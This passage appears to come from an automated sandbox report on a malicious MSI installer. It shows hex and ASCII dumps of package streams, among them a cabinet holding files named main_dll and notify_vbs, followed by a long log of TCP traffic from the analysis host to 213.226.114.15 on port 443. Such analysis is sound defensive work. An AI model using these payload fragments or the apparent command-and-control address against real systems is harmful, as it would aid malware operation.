Data ASCII:	M S C F . . . . . . . . . . , . . . . . . . . . . . . . . . . . . . ` . . . . . . . . D . . . . . . . . T ' o . m a i n _ d l l . D . . . . D . . . . T 8 M . n o t i f y _ v b s . & J . 8 . C K \| . \\ U . z K . , Z n . h e . . + . + 3 . S @ $ . ) . g p . [ . m l F . . . * . Q . ^ . . . \| . . . < . 9 _ u y i . + . . . . W K t 6 k e ; - . . . . ; o y g N s b L l 3 . ~ h \| 9 n . i . R = \\ . . ; x X . 5 ~ r . . . e . h . ~ k Q . \\ V . ] \\ & = 3 5 W s O . . . . n . ~ x m . w = * w L 4 N # 2 { \\ = Q < \\ _ N O
Data Raw:	4d 53 43 46 00 00 00 00 e2 d2 02 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 02 00 00 00 00 00 00 00 60 00 00 00 0d 00 01 00 00 44 06 00 00 00 00 00 00 00 ce 54 27 6f 20 00 6d 61 69 6e 5f 64 6c 6c 00 44 00 00 00 00 44 06 00 00 00 d0 54 38 4d 20 00 6e 6f 74 69 66 79 5f 76 62 73 00 26 4a 8a cf 95 38 00 80 43 4b ec 7c 7f 5c 55 f5 fd ff c5 0b 7a 4b 14 2c 5a 6e 1f b7 68 b9 65 cb

Stream Path: \x18496\x15167\x17394\x17464\x17841, File Type: data, Stream Size: 656

General
Stream Path:	\x18496\x15167\x17394\x17464\x17841
File Type:	data
Stream Size:	656
Entropy:	4.728156136205491
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . " . " . " . ) . ) . ) . * . * . * . + . + . + . + . + . + . 1 . 1 . 1 . 9 . 9 . 9 . 9 . 9 . I . I . I . I . I . I . I . I . X . X . ] . ] . ] . ] . ] . ] . ] . ] . k . k . k . l . l . l . m . m . m . m . m . m . x . x . z . z . z . z . z . z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . #
Data Raw:	07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 22 00 22 00 22 00 29 00 29 00 29 00 2a 00 2a 00 2a 00 2b 00 2b 00 2b 00 2b 00 2b 00 2b 00 31 00 31 00 31 00 39 00 39 00 39 00 39 00 39 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 58 00 58 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 6b 00 6b 00 6b 00 6c 00 6c 00 6c 00 6d 00 6d 00 6d 00 6d 00 6d 00 6d 00 78 00

Stream Path: \x18496\x16191\x17783\x17516\x15210\x17892\x18468, File Type: ASCII text, with very long lines, with no line terminators, Stream Size: 6703

General
Stream Path:	\x18496\x16191\x17783\x17516\x15210\x17892\x18468
File Type:	ASCII text, with very long lines, with no line terminators
Stream Size:	6703
Entropy:	4.830101882212788
Base64 Encoded:	True
Data ASCII:	N a m e T a b l e T y p e C o l u m n I d e n t i f i e r _ V a l i d a t i o n V a l u e N P r o p e r t y I d _ S u m m a r y I n f o r m a t i o n D e s c r i p t i o n S e t C a t e g o r y K e y T a b l e M a x V a l u e N u l l a b l e K e y C o l u m n M i n V a l u e N a m e o f t a b l e N a m e o f c o l u m n Y ; N W h e t h e r t h e c o l u m n i s n u l l a b l e Y M i n i m u m v a l u e a l l o w e d M a x i m u m v a l u e a l l o w e d F o r f o r e i g n k e y
Data Raw:	4e 61 6d 65 54 61 62 6c 65 54 79 70 65 43 6f 6c 75 6d 6e 49 64 65 6e 74 69 66 69 65 72 5f 56 61 6c 69 64 61 74 69 6f 6e 56 61 6c 75 65 4e 50 72 6f 70 65 72 74 79 49 64 5f 53 75 6d 6d 61 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 44 65 73 63 72 69 70 74 69 6f 6e 53 65 74 43 61 74 65 67 6f 72 79 4b 65 79 54 61 62 6c 65 4d 61 78 56 61 6c 75 65 4e 75 6c 6c 61 62 6c 65 4b 65 79 43 6f 6c 75

Stream Path: \x18496\x16191\x17783\x17516\x15978\x17586\x18479, File Type: data, Stream Size: 852

General
Stream Path:	\x18496\x16191\x17783\x17516\x15978\x17586\x18479
File Type:	data
Stream Size:	852
Entropy:	3.2751779270113106
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ' . . . . . . . . . 6 . . . $ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . ; . . . . . . . . . . . > . . . . . . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . . . . . . . S . . . ^ . . . . . . . . . . . . . . . . . . . . . . . :
Data Raw:	00 00 00 00 04 00 02 00 05 00 02 00 00 00 00 00 04 00 02 00 06 00 02 00 0a 00 1b 00 0b 00 15 00 05 00 05 00 01 00 2d 00 0a 00 01 00 13 00 02 00 0b 00 04 00 03 00 02 00 08 00 02 00 08 00 02 00 08 00 02 00 08 00 02 00 09 00 02 00 08 00 02 00 0d 00 01 00 0e 00 01 00 03 00 01 00 1e 00 01 00 01 00 27 00 15 00 01 00 15 00 01 00 36 00 01 00 24 00 01 00 f5 00 01 00 0f 00 01 00 04 00 07 00

Stream Path: \x18496\x16255\x16740\x16943\x18486, File Type: data, Stream Size: 34

General
Stream Path:	\x18496\x16255\x16740\x16943\x18486
File Type:	data
Stream Size:	34
Entropy:	3.043731420625169
Base64 Encoded:	False
Data ASCII:	. . " . ) . * . + . 1 . 9 . I . X . ] . k . l . m . x . z . . .
Data Raw:	07 00 22 00 29 00 2a 00 2b 00 31 00 39 00 49 00 58 00 5d 00 6b 00 6c 00 6d 00 78 00 7a 00 85 00 8f 00

Stream Path: \x18496\x16383\x17380\x16876\x17892\x17580\x18481, File Type: data, Stream Size: 2016

General
Stream Path:	\x18496\x16383\x17380\x16876\x17892\x17580\x18481
File Type:	data
Stream Size:	2016
Entropy:	2.3834058956899153
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . " . " . " . ) . ) . ) . * . * . * . + . + . + . + . + . + . 1 . 1 . 1 . 9 . 9 . 9 . 9 . 9 . I . I . I . I . I . I . I . I . X . X . ] . ] . ] . ] . ] . ] . ] . ] . k . k . k . l . l . l . m . m . m . m . m . m . x . x . z . z . z . z . z . z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . % . ' . # . % . ' . # . % . ' . % . + . - . 0 . 3 . 6 . 1 . E . G . . . # . < . ? . B . . . 0 . 3 . I . K . M . P . R . Y . [ . ' . 3 . [ . ] . `
Data Raw:	07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 07 00 0b 00 0b 00 22 00 22 00 22 00 29 00 29 00 29 00 2a 00 2a 00 2a 00 2b 00 2b 00 2b 00 2b 00 2b 00 2b 00 31 00 31 00 31 00 39 00 39 00 39 00 39 00 39 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 58 00 58 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 5d 00 6b 00 6b 00 6b 00 6c 00 6c 00 6c 00 6d 00 6d 00 6d 00 6d 00 6d 00

Stream Path: \x18496\x16842\x17200\x15281\x16955\x17958\x16951\x16924\x17972\x17512\x16934, File Type: data, Stream Size: 48

General
Stream Path:	\x18496\x16842\x17200\x15281\x16955\x17958\x16951\x16924\x17972\x17512\x16934
File Type:	data
Stream Size:	48
Entropy:	3.0684210940655055
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . x . < .
Data Raw:	9a 00 9b 00 9c 00 9d 00 9e 00 9f 00 a0 00 a1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 78 85 dc 85 3c 8f a0 8f c8 99

Stream Path: \x18496\x16842\x17200\x16305\x16146\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 24

General
Stream Path:	\x18496\x16842\x17200\x16305\x16146\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	24
Entropy:	2.594360937770434
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . .
Data Raw:	9a 00 9b 00 9c 00 a2 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 14 85

Stream Path: \x18496\x16842\x17913\x18126\x16808\x17912\x16168\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 42

General
Stream Path:	\x18496\x16842\x17913\x18126\x16808\x17912\x16168\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	42
Entropy:	2.865948479683034
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . x . . .
Data Raw:	9a 00 9c 00 9d 00 9e 00 a1 00 a3 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 e8 83 78 85 dc 85 c8 99 9c 98 00 99

Stream Path: \x18496\x16911\x17892\x17784\x15144\x17458\x17587\x16945\x17905\x18486, File Type: data, Stream Size: 4

General
Stream Path:	\x18496\x16911\x17892\x17784\x15144\x17458\x17587\x16945\x17905\x18486
File Type:	data
Stream Size:	4
Entropy:	1.5
Base64 Encoded:	False
Data ASCII:	. .
Data Raw:	b2 00 a5 00

Stream Path: \x18496\x16911\x17892\x17784\x18472, File Type: data, Stream Size: 32

General
Stream Path:	\x18496\x16911\x17892\x17784\x18472
File Type:	data
Stream Size:	32
Entropy:	2.472874329980682
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . .
Data Raw:	b2 00 b3 00 b3 00 00 00 b4 00 b6 00 b5 00 00 00 02 80 01 80 01 80 01 80 00 00 a7 00 00 80 00 80

Stream Path: \x18496\x16918\x17191\x18468, File Type: MIPSEB Ucode, Stream Size: 14

General
Stream Path:	\x18496\x16918\x17191\x18468
File Type:	MIPSEB Ucode
Stream Size:	14
Entropy:	1.626688849701832
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . .
Data Raw:	01 80 02 00 00 80 00 00 c6 00 00 00 00 00

Stream Path: \x18496\x16923\x17194\x17910\x18229, File Type: data, Stream Size: 12

General
Stream Path:	\x18496\x16923\x17194\x17910\x18229
File Type:	data
Stream Size:	12
Entropy:	2.617492461184755
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	a8 00 01 80 d2 00 d3 00 d4 00 a5 00

Stream Path: \x18496\x16923\x17584\x16953\x17167\x16943, File Type: data, Stream Size: 10

General
Stream Path:	\x18496\x16923\x17584\x16953\x17167\x16943
File Type:	data
Stream Size:	10
Entropy:	1.9609640474436814
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	a7 00 a5 00 00 00 a7 00 02 80

Stream Path: \x18496\x17165\x16949\x17894\x17778\x18492, File Type: data, Stream Size: 18

General
Stream Path:	\x18496\x17165\x16949\x17894\x17778\x18492
File Type:	data
Stream Size:	18
Entropy:	2.102187170949333
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . .
Data Raw:	a7 00 ad 00 af 00 ad 00 af 00 00 00 ae 00 b0 00 b1 00

Stream Path: \x18496\x17167\x16943, File Type: data, Stream Size: 40

General
Stream Path:	\x18496\x17167\x16943
File Type:	data
Stream Size:	40
Entropy:	2.6659614479285128
Base64 Encoded:	False
Data ASCII:	. . . . . . . D . D . . . . . . . . . . . . . . . .
Data Raw:	b7 00 bb 00 a5 00 a5 00 b8 00 bc 00 00 44 06 80 44 00 00 80 b9 00 00 00 ba 00 00 00 00 82 00 82 01 00 00 80 02 00 00 80

Stream Path: \x18496\x17490\x17910\x17380\x15279\x16955\x17958\x16951\x16924\x17972\x17512\x16934, File Type: data, Stream Size: 120

General
Stream Path:	\x18496\x17490\x17910\x17380\x15279\x16955\x17958\x16951\x16924\x17972\x17512\x16934
File Type:	data
Stream Size:	120
Entropy:	3.6961843239779912
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . @ . ( p . y
Data Raw:	9a 00 9b 00 9c 00 9d 00 9e 00 a0 00 a1 00 a3 00 a4 00 a9 00 ab 00 bd 00 be 00 bf 00 c0 00 c1 00 c2 00 c3 00 c4 00 c5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 78 85 dc 85 a0 8f c8 99 9c 98 00 99 ca 99 c9 99 bc 82 40 86 08 87 28 8a ac 8d 88 93 70 97 d4 97 79 85

Stream Path: \x18496\x17490\x17910\x17380\x16303\x16146\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 30

General
Stream Path:	\x18496\x17490\x17910\x17380\x16303\x16146\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	30
Entropy:	2.794949047732144
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . .
Data Raw:	9a 00 9b 00 9c 00 a2 00 bd 00 00 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 14 85 bc 82

Stream Path: \x18496\x17548\x17648\x17522\x17512\x18487, File Type: data, Stream Size: 12

General
Stream Path:	\x18496\x17548\x17648\x17522\x17512\x18487
File Type:	data
Stream Size:	12
Entropy:	2.292481250360578
Base64 Encoded:	False
Data ASCII:	. . . . . . .
Data Raw:	a5 00 a6 00 a7 00 04 80 00 00 a8 00

Stream Path: \x18496\x17753\x17650\x17768\x18231, File Type: data, Stream Size: 24

General
Stream Path:	\x18496\x17753\x17650\x17768\x18231
File Type:	data
Stream Size:	24
Entropy:	2.792481250360579
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	c7 00 c9 00 cb 00 cc 00 ce 00 d0 00 c8 00 ca 00 ba 00 cd 00 cf 00 d1 00

Stream Path: \x18496\x17814\x15340\x17388\x15464\x17828\x18475, File Type: data, Stream Size: 20

General
Stream Path:	\x18496\x17814\x15340\x17388\x15464\x17828\x18475
File Type:	data
Stream Size:	20
Entropy:	4.1219280948873624
Base64 Encoded:	False
Data ASCII:	. . . . A Q f y .
Data Raw:	bb 00 00 80 03 08 aa ac 8d ab 8a e9 de 41 f5 51 66 79 bb 1b

Stream Path: \x18496\x17932\x17910\x17458\x16778\x17207\x17522, File Type: data, Stream Size: 24

General
Stream Path:	\x18496\x17932\x17910\x17458\x16778\x17207\x17522
File Type:	data
Stream Size:	24
Entropy:	2.1140054628542204
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . .
Data Raw:	a9 00 ab 00 e2 80 e2 80 a7 00 a7 00 aa 00 ac 00 00 00 00 00 00 00 00 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2022 20:31:42.041260958 CEST	49762	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.041306019 CEST	443	49762	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.041399956 CEST	49762	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.041820049 CEST	49762	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.041863918 CEST	443	49762	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.042853117 CEST	49762	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.159638882 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.159682035 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.159780979 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.189784050 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.189800978 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.361550093 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.361748934 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.790893078 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.790929079 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.791516066 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.791626930 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.795227051 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.836493969 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.877217054 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.877275944 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.877437115 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.877456903 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.877541065 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.938354015 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.938390970 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.938535929 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.938559055 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.938611984 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.999702930 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.999757051 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:42.999949932 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:42.999970913 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.000067949 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001032114 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001096964 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001146078 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001161098 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001184940 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001210928 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001211882 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001235008 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001290083 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001295090 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001322031 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.001374006 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.001401901 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.017995119 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.018054008 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.018162966 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.018181086 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.018256903 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.061793089 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.061849117 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.061960936 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.061978102 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.061990976 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.062051058 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.062349081 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.062388897 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.062465906 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.062473059 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.062501907 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.062530994 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.062894106 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.062936068 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.063026905 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.063040972 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.063101053 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.063141108 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.063532114 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.063575983 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.063631058 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.063640118 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.063672066 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.063698053 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.064312935 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.064378023 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.064413071 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.064424038 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.064460039 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.064486980 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.079742908 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.079790115 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.079915047 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.079935074 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.079962015 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.079994917 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.122730970 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.122786045 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.122912884 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.122934103 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.122951984 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.122994900 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.123672009 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.123714924 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.123790979 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.123809099 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.123822927 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.123871088 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.124866009 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.124916077 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.125020981 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.125035048 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.125094891 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.125132084 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.125308990 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.125350952 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.125426054 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.125435114 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.125475883 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.125518084 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.126336098 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.126380920 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.126473904 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.126487017 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.126565933 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.126590967 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.127191067 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.127233028 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.127336025 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.127347946 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.127403975 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.127433062 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140201092 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140247107 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140314102 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140332937 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140353918 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140381098 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140842915 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140886068 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140933990 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140948057 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.140965939 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.140993118 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.183619976 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.183650970 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.183793068 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.183810949 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.183844090 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.183886051 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.186873913 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.186902046 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.186980009 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187069893 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.187086105 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187129021 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.187190056 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.187206984 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187221050 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187294960 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.187309027 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187350035 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.187390089 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.187422037 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.188081980 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.188113928 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.188193083 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.188203096 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.188250065 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.188283920 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.188430071 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.188523054 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.188536882 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.188551903 CEST	443	49763	213.226.114.15	192.168.2.3
